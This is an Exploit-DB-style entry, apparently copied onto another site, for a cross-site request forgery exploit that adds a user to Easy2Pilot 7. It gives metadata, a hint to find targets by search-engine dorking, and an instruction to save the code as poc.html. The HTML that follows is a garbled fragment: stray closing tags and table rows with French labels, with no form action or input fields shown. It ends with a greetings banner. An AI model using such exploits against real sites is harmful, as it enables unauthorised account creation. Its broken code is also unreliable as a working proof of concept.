Easy2Pilot 7 – Cross-Site Request Forgery (Add User) - 体验盒子

作者： indoushka

日期： 2020-02-20

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/48099/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

# Exploit Title: Easy2Pilot 7 - Cross-Site Request Forgery (Add User)

# Author: indoushka

# Date: 2020-02-20

# Tested on: windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit)

# Vendor: http://easy2pilot-v7.com/

# CVE: N/A

#poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] save code as poc.html

[+]

<!DOCTYPE html>

</tr>

</table>

<tr>

<td class="tah11" colspan="2" align="center"><B>Nouvel utilisateur : </B></td>

</tr>

<tr>

<td class="tah11" align="right">Nom d'utilisateur :</td>

</tr>

<tr>

<td class="tah11" align="right">Mot de passe : </td>

</tr>

<tr>

</tr>

</table>

</form><br/><br/>

<div>

Greetings to :=========================================================================================================================

|

jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*|

|

=======================================================================================================================================